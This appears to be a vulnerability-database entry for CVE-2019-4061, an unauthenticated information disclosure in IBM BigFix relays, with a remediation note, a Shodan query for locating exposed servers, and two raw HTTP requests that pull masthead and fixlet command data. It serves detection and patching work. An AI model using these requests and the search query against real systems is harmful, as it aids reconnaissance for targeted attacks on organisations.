| Title | IBM BigFix Platform - Information Disclosure |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Attackers can remotely gather sensitive update and fixlet deployment information, potentially aiding targeted attacks. |
| Remediation | Enable authenticated access for relay to prevent unauthorized information queries. |
| CVSS Score | 5.3 |
| EPSS Score | 0.7919 |
| CVE ID | CVE-2019-4061 |
| CWE ID | CWE-200 |
| Shodan Query | port:52311 "BigFixHTTPServer" |
| Tags | cve cve2019 ibm bigfix disclosure vkev |
IBM BigFix Platform 9.2 and 9.5 contains an information disclosure vulnerability caused by not enabling authenticated access in relay, letting remote attackers query and gather update and fixlet information, exploit requires no authentication.
GET /masthead/masthead.axfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-4061.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-4061.pcap
N/AN/A